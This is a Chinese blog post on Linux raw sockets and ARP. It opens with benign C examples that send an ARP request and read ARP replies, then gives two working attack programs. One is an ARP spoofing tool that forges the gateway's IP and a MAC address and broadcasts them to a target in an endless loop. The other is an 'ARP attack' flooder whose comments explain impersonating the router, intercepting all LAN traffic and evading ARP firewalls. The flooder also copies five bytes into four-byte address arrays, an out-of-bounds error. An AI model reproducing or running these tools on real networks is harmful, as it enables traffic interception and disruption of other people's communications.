原始套接字--arp相关
arp请求示例
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/ioctl.h> #include <sys/socket.h> #include <arpa/inet.h> #include <netinet/in.h> #include <netinet/if_ether.h> #include <net/ethernet.h> #include <net/if_arp.h> #include <net/if.h> #include <netpacket/packet.h> /* 以太网帧首部长度 */ #define ETHER_HEADER_LEN sizeof(struct ether_header) /* 整个arp结构长度 */ #define ETHER_ARP_LEN sizeof(struct ether_arp) /* 以太网 + 整个arp结构长度 */ #define ETHER_ARP_PACKET_LEN ETHER_HEADER_LEN + ETHER_ARP_LEN /* IP地址长度 */ #define IP_ADDR_LEN 4 /* 广播地址 */ #define BROADCAST_ADDR {0xff, 0xff, 0xff, 0xff, 0xff, 0xff} void err_exit(const char *err_msg) { perror(err_msg); exit(1); } /* 填充arp包 */ struct ether_arp *fill_arp_packet(const unsigned char *src_mac_addr, const char *src_ip, const char *dst_ip) { struct ether_arp *arp_packet; struct in_addr src_in_addr, dst_in_addr; unsigned char dst_mac_addr[ETH_ALEN] = BROADCAST_ADDR; /* IP地址转换 */ inet_pton(AF_INET, src_ip, &src_in_addr); inet_pton(AF_INET, dst_ip, &dst_in_addr); /* 整个arp包 */ arp_packet = (struct ether_arp *)malloc(ETHER_ARP_LEN); arp_packet->arp_hrd = htons(ARPHRD_ETHER); arp_packet->arp_pro = htons(ETHERTYPE_IP); arp_packet->arp_hln = ETH_ALEN; arp_packet->arp_pln = IP_ADDR_LEN; arp_packet->arp_op = htons(ARPOP_REQUEST); memcpy(arp_packet->arp_sha, src_mac_addr, ETH_ALEN); memcpy(arp_packet->arp_tha, dst_mac_addr, ETH_ALEN); memcpy(arp_packet->arp_spa, &src_in_addr, IP_ADDR_LEN); memcpy(arp_packet->arp_tpa, &dst_in_addr, IP_ADDR_LEN); return arp_packet; } /* arp请求 */ void arp_request(const char *if_name, const char *dst_ip) { struct sockaddr_ll saddr_ll; struct ether_header *eth_header; struct ether_arp *arp_packet; struct ifreq ifr; char buf[ETHER_ARP_PACKET_LEN]; unsigned char src_mac_addr[ETH_ALEN]; unsigned char dst_mac_addr[ETH_ALEN] = BROADCAST_ADDR; char *src_ip; int sock_raw_fd, ret_len, i; if ((sock_raw_fd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ARP))) == -1) err_exit("socket()"); bzero(&saddr_ll, sizeof(struct sockaddr_ll)); bzero(&ifr, sizeof(struct ifreq)); /* 网卡接口名 */ memcpy(ifr.ifr_name, if_name, strlen(if_name)); /* 获取网卡接口索引 */ if (ioctl(sock_raw_fd, SIOCGIFINDEX, &ifr) == -1) err_exit("ioctl() get ifindex"); saddr_ll.sll_ifindex = ifr.ifr_ifindex; saddr_ll.sll_family = PF_PACKET; /* 获取网卡接口IP */ if (ioctl(sock_raw_fd, SIOCGIFADDR, &ifr) == -1) err_exit("ioctl() get ip"); src_ip = inet_ntoa(((struct sockaddr_in *)&(ifr.ifr_addr))->sin_addr); printf("local ip:%s\n", src_ip); /* 获取网卡接口MAC地址 */ if (ioctl(sock_raw_fd, SIOCGIFHWADDR, &ifr)) err_exit("ioctl() get mac"); memcpy(src_mac_addr, ifr.ifr_hwaddr.sa_data, ETH_ALEN); printf("local mac"); for (i = 0; i < ETH_ALEN; i++) printf(":%02x", src_mac_addr[i]); printf("\n"); bzero(buf, ETHER_ARP_PACKET_LEN); /* 填充以太首部 */ eth_header = (struct ether_header *)buf; memcpy(eth_header->ether_shost, src_mac_addr, ETH_ALEN); memcpy(eth_header->ether_dhost, dst_mac_addr, ETH_ALEN); eth_header->ether_type = htons(ETHERTYPE_ARP); /* arp包 */ arp_packet = fill_arp_packet(src_mac_addr, src_ip, dst_ip); memcpy(buf + ETHER_HEADER_LEN, arp_packet, ETHER_ARP_LEN); /* 发送请求 */ ret_len = sendto(sock_raw_fd, buf, ETHER_ARP_PACKET_LEN, 0, (struct sockaddr *)&saddr_ll, sizeof(struct sockaddr_ll)); if ( ret_len > 0) printf("sendto() ok!!!\n"); close(sock_raw_fd); } int main(int argc, const char *argv[]) { if (argc != 3) { printf("usage:%s device_name dst_ip\n", argv[0]); exit(1); } arp_request(argv[1], argv[2]); return 0; }
流程:命令行接收网卡接口名和要请求的目标IP地址,传入arp_request()函数。用PF_PACKET选项创建ARP类型的原始套接字。用ioctl()函数通过网卡接口名来获取该接口对应的mac地址,ip地址,接口索引。接口索引填充到物理地址sockaddr_ll里面。然后填充以太首部,源地址对应刚刚的网卡接口mac地址,目标地址填广播地址(第28行定义的宏)。以太首部帧类型是ETHERTYPE_ARP,代表arp类型。接着填充arp数据包结构,同样要填充源/目标的ip地址和mac地址,arp包的操作选项填写ARPOP_REQUEST,代表请求操作。填充完成后发送到刚刚的物理地址sockaddr_ll。
arp 接收示例
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <arpa/inet.h> #include <netinet/in.h> #include <netinet/if_ether.h> #include <net/if_arp.h> #include <net/ethernet.h> /* 以太网帧首部长度 */ #define ETHER_HEADER_LEN sizeof(struct ether_header) /* 整个arp结构长度 */ #define ETHER_ARP_LEN sizeof(struct ether_arp) /* 以太网 + 整个arp结构长度 */ #define ETHER_ARP_PACKET_LEN ETHER_HEADER_LEN + ETHER_ARP_LEN /* IP地址长度 */ #define IP_ADDR_LEN 4 void err_exit(const char *err_msg) { perror(err_msg); exit(1); } int main(void) { struct ether_arp *arp_packet; char buf[ETHER_ARP_PACKET_LEN]; int sock_raw_fd, ret_len, i; if ((sock_raw_fd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ARP))) == -1) err_exit("socket()"); while (1) { bzero(buf, ETHER_ARP_PACKET_LEN); ret_len = recv(sock_raw_fd, buf, ETHER_ARP_PACKET_LEN, 0); if (ret_len > 0) { /* 剥去以太头部 */ arp_packet = (struct ether_arp *)(buf + ETHER_HEADER_LEN); /* arp操作码为2代表arp应答 */ if (ntohs(arp_packet->arp_op) == 2) { printf("==========================arp replay======================\n"); printf("from ip:"); for (i = 0; i < IP_ADDR_LEN; i++) printf(".%u", arp_packet->arp_spa[i]); printf("\nfrom mac"); for (i = 0; i < ETH_ALEN; i++) printf(":%02x", arp_packet->arp_sha[i]); printf("\n"); } } } close(sock_raw_fd); return 0; }
流程:创建ARP类型的原始套接字。直接调用接收函数,会收到网卡接收的arp数据包,判断收到的arp包操作是arp应答,操作码是2。然后剥去以太首部,取出源mac地址和ip地址!!!
arp欺骗
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> #include <sys/socket.h> #include <sys/ioctl.h> #include <sys/types.h> #include <netinet/in.h> #include <netinet/if_ether.h> #include <net/if_arp.h> #include <netpacket/packet.h> #include <net/if.h> #include <net/ethernet.h> #include <arpa/inet.h> #define print_errno(fmt, ...) \ printf("[%d] errno=%d (%s) #" fmt, \ __LINE__, errno, strerror(errno), ####__VA_ARGS__) static unsigned char s_ip_frame_data[ETH_DATA_LEN]; static unsigned int s_ip_frame_size = 0; int main(int argc,char** argv) { struct ether_header *eth = NULL; struct ether_arp *arp = NULL; struct ifreq ifr; struct in_addr daddr; struct in_addr saddr; struct sockaddr_ll sll; int skfd; int n = 0; //unsigned char dmac[ETH_ALEN] = {0x40,0x8d,0x5c,0x79,0xa2,0xad}; //unsigned char dmac[ETH_ALEN] = {0xbc,0xee,0x7b,0x5d,0xa9,0x22}; unsigned char dmac[ETH_ALEN] = {0xff,0xff,0xff,0xff,0xff,0xff}; /*伪造 源MAC*/ unsigned char smac[ETH_ALEN] = {0x38,0x97,0xd6,0x51,0xa0,0x01}; daddr.s_addr = inet_addr("219.216.87.201"); /*伪造 源IP*/ saddr.s_addr = inet_addr("219.216.87.254"); memset(s_ip_frame_data, 0x00, sizeof(unsigned char)*ETH_DATA_LEN); /*创建原始套接字*/ skfd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL)); if (skfd < 0) { print_errno("socket() failed! \n"); return -1; } bzero(&ifr,sizeof(ifr)); strcpy(ifr.ifr_name, "eth0"); if (-1 == ioctl(skfd, SIOCGIFINDEX, &ifr)) { print_errno("ioctl() SIOCGIFINDEX failed!\n"); return -1; } printf("ifr_ifindex = %d\n", ifr.ifr_ifindex); bzero(&sll, sizeof(sll)); sll.sll_ifindex = ifr.ifr_ifindex; sll.sll_family = PF_PACKET; sll.sll_protocol = htons(ETH_P_ALL); #if 0 /*获取本机IP*/ if(-1 == ioctl(skfd, SIOCGIFADDR, &ifr)){ printf("ioctl() SIOCGIFADDR failed! \n"); return -1; } printf("ifr_addr = %s\n", \ inet_ntoa(((struct sockaddr_in*)&(ifr.ifr_addr))->sin_addr)); /*获取本机MAC*/ if(-1 == ioctl(skfd, SIOCGIFHWADDR, &ifr)) { printf("ioctl() SIOCGIFHWADDR failed! \n"); return -1; } printf("ifr_hwaddr = %02x-%02x-%02x-%02x-%02x-%02x\n", \ (unsigned char)ifr.ifr_hwaddr.sa_data[0], \ (unsigned char)ifr.ifr_hwaddr.sa_data[1], \ (unsigned char)ifr.ifr_hwaddr.sa_data[2], \ (unsigned char)ifr.ifr_hwaddr.sa_data[3], \ (unsigned char)ifr.ifr_hwaddr.sa_data[4], \ (unsigned char)ifr.ifr_hwaddr.sa_data[5]); #endif /*构造以太报文*/ eth = (struct ether_header*)s_ip_frame_data; eth->ether_type = htons(ETHERTYPE_ARP); memcpy(eth->ether_dhost, dmac, ETH_ALEN); memcpy(eth->ether_shost, smac, ETH_ALEN); /*构造ARP报文*/ arp = (struct ether_arp*)(s_ip_frame_data + sizeof(struct ether_header)); arp->arp_hrd = htons(ARPHRD_ETHER); arp->arp_pro = htons(ETHERTYPE_IP); arp->arp_hln = ETH_ALEN; arp->arp_pln = 4; arp->arp_op = htons(ARPOP_REQUEST); memcpy(arp->arp_sha, smac, ETH_ALEN); memcpy(arp->arp_spa, &saddr.s_addr, 4); /* memcpy(arp->arp_tha, dmac, ETH_ALEN);*/ memcpy(arp->arp_tpa, &daddr.s_addr, 4); s_ip_frame_size = sizeof(struct ether_header) + sizeof(struct ether_arp); while(1){ n = sendto(skfd, s_ip_frame_data, s_ip_frame_size, 0, \ (struct sockaddr*)&sll, sizeof(sll)); if (n < 0) { print_errno("sendto() failed!\n"); } else { printf("sendto() n = %d \n", n); } usleep(10000); } close(skfd); return 0; }
arp攻击
#include <sys/socket.h> #include <sys/ioctl.h> #include <sys/time.h> #include <asm/types.h> #include <math.h> #include <string.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <signal.h> #include <linux/if_packet.h> #include <linux/if_ether.h> #include <linux/if_arp.h> #define PROTO_ARP 0x0806 #define ETH2_HEADER_LEN 14 #define HW_TYPE 1 #define PROTOCOL_TYPE 0x800 #define MAC_LENGTH 6 #define IPV4_LENGTH 4 #define ARP_REQUEST 0x01 #define ARP_REPLY 0x02 #define BUF_SIZE 60 struct arp_header { unsigned short hardware_type; unsigned short protocol_type; unsigned char hardware_len; unsigned char protocol_len; unsigned short opcode; unsigned char sender_mac[MAC_LENGTH]; unsigned char sender_ip[IPV4_LENGTH]; unsigned char target_mac[MAC_LENGTH]; unsigned char target_ip[IPV4_LENGTH]; }; void main() { int sd; unsigned char buffer[BUF_SIZE]; /** * 在伪装成路由器情况下, * 1.自身需要实现路由器所有功能,将数据包转发给真正的路由器。否则目标会立即发现外网不可达; * 2. 由于有合法路由器在线,当被攻击目标主动发起arp查询时,合法路由器的响应会更新目标arp表,所以必须不断发送伪装的arp数据包到攻击目标 1秒1次; * 3. 合法路由器有mac地址表,应该不会主动询问某个地址,因此这种攻击方式很容易被arp防火墙识别(除非拦截攻击目标的arp查询,在合法路由器响应之前抢先一步将伪装的响应包发送给攻击目标.合法路由器的响应与伪装地址不一致,arp防火墙能够检测- -#) */ unsigned char source_ip[4] = { 219, 216, 87, 100 }; //可设置任意LAN ip,设置未网关并把mac配置为自己网卡mac则可以伪装成路由器,配合路由服务,拦截lan 所有数据包 unsigned char source_mac[6] = { 0x1e, 0xed, 0x19, 0x27, 0x1a, 0xb3 }; //可任意设置,单纯为了破坏内网通讯情况下设置为任意值,如果是伪装成路由器则设置成自己的mac unsigned char target_ip[4] = { 219, 216, 87, 201 }; //被攻击目标,循环发送给所有目标,并定时发送(压制); struct ethhdr *send_req = (struct ethhdr *) buffer; struct ethhdr *rcv_resp = (struct ethhdr *) buffer; struct arp_header *arp_req = (struct arp_header *) (buffer + ETH2_HEADER_LEN); struct arp_header *arp_resp = (struct arp_header *) (buffer + ETH2_HEADER_LEN); struct sockaddr_ll socket_address; int index, ret, length = 0; memset(buffer, 0x00, 60); for (index = 0; index < 6; index++) { send_req->h_dest[index] = (unsigned char) 0xff; arp_req->target_mac[index] = (unsigned char) 0x00; /* Filling the source mac address in the header*/ send_req->h_source[index] = (unsigned char) source_mac[index]; arp_req->sender_mac[index] = (unsigned char) source_mac[index]; socket_address.sll_addr[index] = (unsigned char) source_mac[index]; } printf("Successfully got eth0 MAC address: %02X:%02X:%02X:%02X:%02X:%02X\n", send_req->h_source[0], send_req->h_source[1], send_req->h_source[2], send_req->h_source[3], send_req->h_source[4], send_req->h_source[5]); printf(" arp_req MAC address: %02X:%02X:%02X:%02X:%02X:%02X\n", arp_req->sender_mac[0], arp_req->sender_mac[1], arp_req->sender_mac[2], arp_req->sender_mac[3], arp_req->sender_mac[4], arp_req->sender_mac[5]); printf("socket_address MAC address: %02X:%02X:%02X:%02X:%02X:%02X\n", socket_address.sll_addr[0], socket_address.sll_addr[1], socket_address.sll_addr[2], socket_address.sll_addr[3], socket_address.sll_addr[4], socket_address.sll_addr[5]); /*prepare sockaddr_ll*/ socket_address.sll_family = AF_PACKET; socket_address.sll_protocol = htons(ETH_P_ARP); socket_address.sll_ifindex = 3; //手动指定设备, ip a 指令查看网卡序号 socket_address.sll_hatype = htons(ARPHRD_ETHER); socket_address.sll_pkttype = (PACKET_BROADCAST); socket_address.sll_halen = MAC_LENGTH; socket_address.sll_addr[6] = 0x00; socket_address.sll_addr[7] = 0x00; /* Setting protocol of the packet */ send_req->h_proto = htons(ETH_P_ARP); /* Creating ARP request */ arp_req->hardware_type = htons(HW_TYPE); arp_req->protocol_type = htons(ETH_P_IP); arp_req->hardware_len = MAC_LENGTH; arp_req->protocol_len = IPV4_LENGTH; arp_req->opcode = htons(ARP_REQUEST); for (index = 0; index < 5; index++) { arp_req->sender_ip[index] = (unsigned char) source_ip[index]; arp_req->target_ip[index] = (unsigned char) target_ip[index]; } // Submit request for a raw socket descriptor. if ((sd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL))) < 0) { perror("socket() failed "); exit(EXIT_FAILURE); } buffer[32] = 0x00; while(1){ ret = sendto(sd, buffer, 42, 0, (struct sockaddr*) &socket_address, sizeof(socket_address)); if (ret == -1) { perror("sendto():"); exit(1); } else { printf(" Sent the ARP REQ \n"); //for (index = 0; index < 42; index++) { // printf("%02X ", buffer[index]); // if (index % 16 == 0 && index != 0) { // printf("\n\t"); // } //} } usleep(100000); } close(sd); }
转载请注明出处:http://www.cnblogs.com/tla001/
一起学习,一起进步